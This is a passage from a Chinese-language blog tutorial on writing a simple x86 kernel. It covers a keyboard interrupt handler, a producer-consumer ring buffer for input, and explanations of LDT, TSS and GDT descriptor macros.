class="comment">// alt</span></span><br><span class="line"> alt_status = <span class="literal">false</span>;</span><br><span class="line">      &#125; <span class="comment">/* 由于caps_lock不是弹起后关闭,所以需要单独处理 */</span></span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span>;   <span class="comment">// 直接返回结束此次中断处理程序</span></span><br><span class="line"></span><br><span class="line">   &#125; </span><br><span class="line">   <span class="comment">/* 若为通码,只处理数组中定义的键以及alt_right和ctrl键,全是make_code */</span></span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">if</span> ((scancode &gt; <span class="number">0x00</span> &amp;&amp; scancode &lt; <span class="number">0x3b</span>) || \</span><br><span class="line">       (scancode == alt_r_make) || \</span><br><span class="line">       (scancode == ctrl_r_make)) &#123;</span><br><span class="line">      <span class="keyword">bool</span> shift = <span class="literal">false</span>;  <span class="comment">// 判断是否与shift组合,用来在一维数组中索引对应的字符</span></span><br><span class="line">      <span class="keyword">if</span> ((scancode &lt; <span class="number">0x0e</span>) || (scancode == <span class="number">0x29</span>) || \</span><br><span class="line"> (scancode == <span class="number">0x1a</span>) || (scancode == <span class="number">0x1b</span>) || \</span><br><span class="line"> (scancode == <span class="number">0x2b</span>) || (scancode == <span class="number">0x27</span>) || \</span><br><span class="line"> (scancode == <span class="number">0x28</span>) || (scancode == <span class="number">0x33</span>) || \</span><br><span class="line"> (scancode == <span class="number">0x34</span>) || (scancode == <span class="number">0x35</span>)) &#123;  </span><br><span class="line">    <span class="comment">/****** 代表两个字母的键 ********</span></span><br><span class="line"><span class="comment">     0x0e 数字'0'~'9',字符'-',字符'='</span></span><br><span class="line"><span class="comment">     0x29 字符'`'</span></span><br><span class="line"><span class="comment">     0x1a 字符'['</span></span><br><span class="line"><span class="comment">     0x1b 字符']'</span></span><br><span class="line"><span class="comment">     0x2b 字符'\\'</span></span><br><span class="line"><span class="comment">     0x27 字符';'</span></span><br><span class="line"><span class="comment">     0x28 字符'\''</span></span><br><span class="line"><span class="comment">     0x33 字符','</span></span><br><span class="line"><span class="comment">     0x34 字符'.'</span></span><br><span class="line"><span class="comment">     0x35 字符'/' </span></span><br><span class="line"><span class="comment">    *******************************/</span></span><br><span class="line"> <span class="keyword">if</span> (shift_down_last) &#123;  <span class="comment">// 如果同时按下了shift键</span></span><br><span class="line">    shift = <span class="literal">true</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 默认为字母键</span></span><br><span class="line"> <span class="keyword">if</span> (shift_down_last &amp;&amp; caps_lock_last) &#123;  <span class="comment">// 如果shift和capslock同时按下</span></span><br><span class="line">    shift = <span class="literal">false</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> <span class="keyword">if</span> (shift_down_last || caps_lock_last) &#123; <span class="comment">// 如果shift和capslock任意被按下</span></span><br><span class="line">    shift = <span class="literal">true</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    shift = <span class="literal">false</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">uint8_t</span> index = (scancode &amp;= <span class="number">0x00ff</span>);  <span class="comment">// 将扫描码的高字节置0,主要是针对高字节是e0的扫描码.</span></span><br><span class="line">      <span class="keyword">char</span> cur_char = keymap[index][shift];  <span class="comment">// 在数组中找到对应的字符</span></span><br><span class="line">   </span><br><span class="line">      <span class="comment">/* 只处理ascii码不为0的键 */</span></span><br><span class="line">      <span class="keyword">if</span> (cur_char) &#123;</span><br><span class="line"> put_char(cur_char);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 记录本次是否按下了下面几类控制键之一,供下次键入时判断组合键 */</span></span><br><span class="line">      <span class="keyword">if</span> (scancode == ctrl_l_make || scancode == ctrl_r_make) &#123;</span><br><span class="line"> ctrl_status = <span class="literal">true</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (scancode == shift_l_make || scancode == shift_r_make) &#123;</span><br><span class="line"> shift_status = <span class="literal">true</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (scancode == alt_l_make || scancode == alt_r_make) &#123;</span><br><span class="line"> alt_status = <span class="literal">true</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (scancode == caps_lock_make) &#123;</span><br><span class="line">      <span class="comment">/* 不管之前是否有按下caps_lock键,当再次按下时则状态取反,</span></span><br><span class="line"><span class="comment">       * 即:已经开启时,再按下同样的键是关闭。关闭时按下表示开启。*/</span></span><br><span class="line"> caps_lock_status = !caps_lock_status;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      put_str(<span class="string">"unknown key\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改main函数对我们的输入进行测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"init.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"thread.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"interrupt.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"console.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel!\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line"><span class="comment">//   thread_start("k_thread_a", 31, k_thread_a, "argA ");</span></span><br><span class="line"><span class="comment">//   thread_start("k_thread_b", 8, k_thread_b, "argB ");</span></span><br><span class="line"></span><br><span class="line">   intr_enable();</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>); <span class="comment">//&#123;</span></span><br><span class="line">      <span class="comment">//console_put_str("Main ");</span></span><br><span class="line">  <span class="comment">// &#125;;</span></span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line"><span class="comment">/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */</span></span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      console_put_str(para);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line"><span class="comment">/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */</span></span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      console_put_str(para);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，可以实现大部分键盘的输入，但当使用小键盘中1~9的时候会显示未识别，不过这个问题不大</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/73.png" alt="image-20200526104424200"></p><p>为了构建交互式的shell，我们需要实现一个缓冲区用来保存我们输入的指令，这里我们使用的是一个环形的缓冲区，既然是环形，就涉及到它的设计思路，我们使用的是生产者-消费者模型，具体实现在device目录下的ioqueue.c和.h文件中，其中队列结构如下所示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> bufsize 64</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 环形队列 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ioqueue</span> &#123;</span></span><br><span class="line"><span class="comment">// 生产者消费者问题</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">lock</span> <span class="title">lock</span>;</span></span><br><span class="line"> <span class="comment">/* 生产者,缓冲区不满时就继续往里面放数据,</span></span><br><span class="line"><span class="comment">  * 否则就睡眠,此项记录哪个生产者在此缓冲区上睡眠。*/</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">producer</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 消费者,缓冲区不空时就继续从往里面拿数据,</span></span><br><span class="line"><span class="comment">  * 否则就睡眠,此项记录哪个消费者在此缓冲区上睡眠。*/</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">consumer</span>;</span></span><br><span class="line">    <span class="keyword">char</span> buf[bufsize];    <span class="comment">// 缓冲区大小</span></span><br><span class="line">    <span class="keyword">int32_t</span> head;    <span class="comment">// 队首,数据往队首处写入</span></span><br><span class="line">    <span class="keyword">int32_t</span> tail;    <span class="comment">// 队尾,数据从队尾处读出</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>初始化io队列</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化io队列ioq */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ioqueue_init</span><span class="params">(struct ioqueue* ioq)</span> </span>&#123;</span><br><span class="line">   lock_init(&amp;ioq-&gt;lock);     <span class="comment">// 初始化io队列的锁</span></span><br><span class="line">   ioq-&gt;producer = ioq-&gt;consumer = <span class="literal">NULL</span>;  <span class="comment">// 生产者和消费者置空</span></span><br><span class="line">   ioq-&gt;head = ioq-&gt;tail = <span class="number">0</span>; <span class="comment">// 队列的首尾指针指向缓冲区数组第0个位置</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其他函数如下所示，其中比较关键的是<code>ioq_getchar</code>和<code>ioq_putchar</code>函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 返回pos在缓冲区中的下一个位置值 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">next_pos</span><span class="params">(<span class="keyword">int32_t</span> pos)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (pos + <span class="number">1</span>) % bufsize; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 判断队列是否已满 */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">ioq_full</span><span class="params">(struct ioqueue* ioq)</span> </span>&#123;</span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line">   <span class="keyword">return</span> next_pos(ioq-&gt;head) == ioq-&gt;tail;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 判断队列是否已空 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">ioq_empty</span><span class="params">(struct ioqueue* ioq)</span> </span>&#123;</span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line">   <span class="keyword">return</span> ioq-&gt;head == ioq-&gt;tail;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 使当前生产者或消费者在此缓冲区上等待 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">ioq_wait</span><span class="params">(struct task_struct** waiter)</span> </span>&#123;</span><br><span class="line">   ASSERT(*waiter == <span class="literal">NULL</span> &amp;&amp; waiter != <span class="literal">NULL</span>);</span><br><span class="line">   *waiter = running_thread();</span><br><span class="line">   thread_block(TASK_BLOCKED);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 唤醒waiter */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">wakeup</span><span class="params">(struct task_struct** waiter)</span> </span>&#123;</span><br><span class="line">   ASSERT(*waiter != <span class="literal">NULL</span>);</span><br><span class="line">   thread_unblock(*waiter); </span><br><span class="line">   *waiter = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 消费者从ioq队列中获取一个字符 */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span> <span class="title">ioq_getchar</span><span class="params">(struct ioqueue* ioq)</span> </span>&#123;</span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 若缓冲区(队列)为空,把消费者ioq-&gt;consumer记为当前线程自己,</span></span><br><span class="line"><span class="comment"> * 目的是将来生产者往缓冲区里装商品后,生产者知道唤醒哪个消费者,</span></span><br><span class="line"><span class="comment"> * 也就是唤醒当前线程自己*/</span></span><br><span class="line">   <span class="keyword">while</span> (ioq_empty(ioq)) &#123;</span><br><span class="line">      lock_acquire(&amp;ioq-&gt;lock); </span><br><span class="line">      ioq_wait(&amp;ioq-&gt;consumer);</span><br><span class="line">      lock_release(&amp;ioq-&gt;lock);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">char</span> byte = ioq-&gt;buf[ioq-&gt;tail];  <span class="comment">// 从缓冲区中取出</span></span><br><span class="line">   ioq-&gt;tail = next_pos(ioq-&gt;tail);  <span class="comment">// 把读游标移到下一位置</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (ioq-&gt;producer != <span class="literal">NULL</span>) &#123;</span><br><span class="line">      wakeup(&amp;ioq-&gt;producer);  <span class="comment">// 唤醒生产者</span></span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">return</span> byte; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 生产者往ioq队列中写入一个字符byte */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ioq_putchar</span><span class="params">(struct ioqueue* ioq, <span class="keyword">char</span> byte)</span> </span>&#123;</span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 若缓冲区(队列)已经满了,把生产者ioq-&gt;producer记为自己,</span></span><br><span class="line"><span class="comment"> * 为的是当缓冲区里的东西被消费者取完后让消费者知道唤醒哪个生产者,</span></span><br><span class="line"><span class="comment"> * 也就是唤醒当前线程自己*/</span></span><br><span class="line">   <span class="keyword">while</span> (ioq_full(ioq)) &#123;</span><br><span class="line">      lock_acquire(&amp;ioq-&gt;lock);</span><br><span class="line">      ioq_wait(&amp;ioq-&gt;producer);</span><br><span class="line">      lock_release(&amp;ioq-&gt;lock);</span><br><span class="line">   &#125;</span><br><span class="line">   ioq-&gt;buf[ioq-&gt;head] = byte;      <span class="comment">// 把字节放入缓冲区中</span></span><br><span class="line">   ioq-&gt;head = next_pos(ioq-&gt;head); <span class="comment">// 把写游标移到下一位置</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (ioq-&gt;consumer != <span class="literal">NULL</span>) &#123;</span><br><span class="line">      wakeup(&amp;ioq-&gt;consumer);          <span class="comment">// 唤醒消费者</span></span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们还需要修改interrupt.c文件，打开时钟中断和键盘中断，最后在main.c中修改测试代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">[...]</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   thread_start(<span class="string">"consumer_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">" A_"</span>);</span><br><span class="line">   thread_start(<span class="string">"consumer_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">" B_"</span>);</span><br><span class="line">   intr_enable();</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>); </span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">      <span class="keyword">if</span> (!ioq_empty(&amp;kbd_buf)) &#123;</span><br><span class="line"> console_put_str(arg);</span><br><span class="line"> <span class="keyword">char</span> byte = ioq_getchar(&amp;kbd_buf);</span><br><span class="line"> console_put_char(byte);</span><br><span class="line">      &#125;</span><br><span class="line">      intr_set_status(old_status);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">      <span class="keyword">if</span> (!ioq_empty(&amp;kbd_buf)) &#123;</span><br><span class="line"> console_put_str(arg);</span><br><span class="line"> <span class="keyword">char</span> byte = ioq_getchar(&amp;kbd_buf);</span><br><span class="line"> console_put_char(byte);</span><br><span class="line">      &#125;</span><br><span class="line">      intr_set_status(old_status);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我一直按下的 t 键，可以看到线程A和B交替执行</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/74.png" alt="image-20200526104424200"></p><h1 id="用户进程"><a href="#用户进程" class="headerlink" title="用户进程"></a>用户进程</h1><h2 id="LDT"><a href="#LDT" class="headerlink" title="LDT"></a>LDT</h2><p>之前介绍GDT的时候提到过LDT，我们的操作系统本身不实现LDT，但其作用还是有必要了解的，LDT也叫局部描述符表。按照内存分段的方式，内存中的程序映像自然被分成了代码段、数据段等资源，这些资源属于程序私有部分，因此intel建议为每个程序单独赋予一个结构来存储其私有资源，这个结构就是LDT，因为是每个任务都有的，故其位置不固定，要找到它需要先像GDT那样注册，之后用选择子找到它。其格式如下，LDT中描述符的D位和L位固定为0，因为属于系统断描述符，因此S为0。描述符在S为0的前提下，若TYPE的值为0010，即表示描述符是LDT。与其配套的寄存器和指令即为LDTR和<code>lldt &quot;16位通用寄存器&quot; 或 &quot;16位内存单元&quot;</code>：</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/75.png" alt="image-20200526104424200"></p><h2 id="TSS"><a href="#TSS" class="headerlink" title="TSS"></a>TSS</h2><p>单核CPU想要实现多任务，唯一的方案就是多个任务共享同一个CPU，也就是让CPU在多个任务间轮转。TSS就是给每个任务”关联”的一个任务状态段，用它来关联任务。TSS(任务状态段)是由程序员来提供，CPU进行维护。程序员提供是指需要我们定义一个结构体，里面存放任务要用的寄存器数据。CPU维护是指切换任务时，CPU会自动把旧任务的数据存放的结构体变量中，然后将新任务的TSS数据加载到相应的寄存器中。</p><p>TSS和之前所说的段一样，本质上也是一片存储数据的内存区域，CPU用这块内存区域保存任务的最新状态。所以也需要一个描述符结构来表示它，这个描述符就是TSS描述符，它的结构如下，因为属于系统断描述符，因此S为0。描述符在S为0的前提下，若TYPE的值为10B1，B位表示Busy，为1表示繁忙，0表示空闲</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/76.png" alt="image-20200526104424200"></p><p>其工作模式和LDT相似，由寄存器TR保存TSS的起始地址，使用前也需要进行注册，都是通过选择子来访问的，将TSS加载到TR的指令是ltr，格式如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ltr &quot;16位通用寄存器&quot; 或 &quot;16位内存单元&quot;</span><br></pre></td></tr></table></figure><p>任务切换的方式有”中断+任务门”、”call或jmp+任务门”、和iretd三种方式，这些方式都比较繁琐，对于Linux系统以及大部分x86系统而言，这样使用TSS效率太低，这一套标准需要我们在”应付”的前提下达到最高效率，我们这里主要效仿Linux系统的做法，Linux为了提高任务切换的速度，通过如下方式来进行任务切换：</p><p>一个CPU上的所有任务共享一个TSS，通过TR寄存器保存这个TSS，在使用ltr指令加载TSS之后，该TR寄存器永远指向同一个TSS，之后在进行任务切换的时候也不会重新加载TSS，只需要把TSS中的SS0和esp0更新为新任务的内核栈的段地址及栈指针。</p><p>接下来我们实现TSS，在kernel/global.h中我们增加一些描述符属性</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ----------------  GDT描述符属性  ----------------</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span>DESC_G_4K    1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span>DESC_D_32    1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_L     0<span class="comment">// 64位代码标记，此处标记为0便可。</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_AVL     0<span class="comment">// cpu不用此位，暂置为0  </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_P     1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_DPL_0   0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_DPL_1   1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_DPL_2   2</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_DPL_3   3</span></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment">   代码段和数据段属于存储段，tss和各种门描述符属于系统段</span></span><br><span class="line"><span class="comment">   s为1时表示存储段,为0时表示系统段.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_S_CODE1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_S_DATADESC_S_CODE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_S_SYS0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_TYPE_CODE8<span class="comment">// x=1,c=0,r=0,a=0 代码段是可执行的,非依从的,不可读的,已访问位a清0.  </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_TYPE_DATA  2<span class="comment">// x=0,e=0,w=1,a=0 数据段是不可执行的,向上扩展的,可写的,已访问位a清0.</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_TYPE_TSS   9<span class="comment">// B位为0,不忙</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 第3个段描述符是显存,第4个是tss */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SELECTOR_U_CODE   ((5 &lt;&lt; 3) + (TI_GDT &lt;&lt; 2) + RPL3)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SELECTOR_U_DATA   ((6 &lt;&lt; 3) + (TI_GDT &lt;&lt; 2) + RPL3)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SELECTOR_U_STACK   SELECTOR_U_DATA</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> GDT_ATTR_HIGH ((DESC_G_4K &lt;&lt; 7) + (DESC_D_32 &lt;&lt; 6) + (DESC_L &lt;&lt; 5) + (DESC_AVL &lt;&lt; 4))</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> GDT_CODE_ATTR_LOW_DPL3 ((DESC_P &lt;&lt; 7) + (DESC_DPL_3 &lt;&lt; 5) + (DESC_S_CODE &lt;&lt; 4) + DESC_TYPE_CODE)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> GDT_DATA_ATTR_LOW_DPL3 ((DESC_P &lt;&lt; 7) + 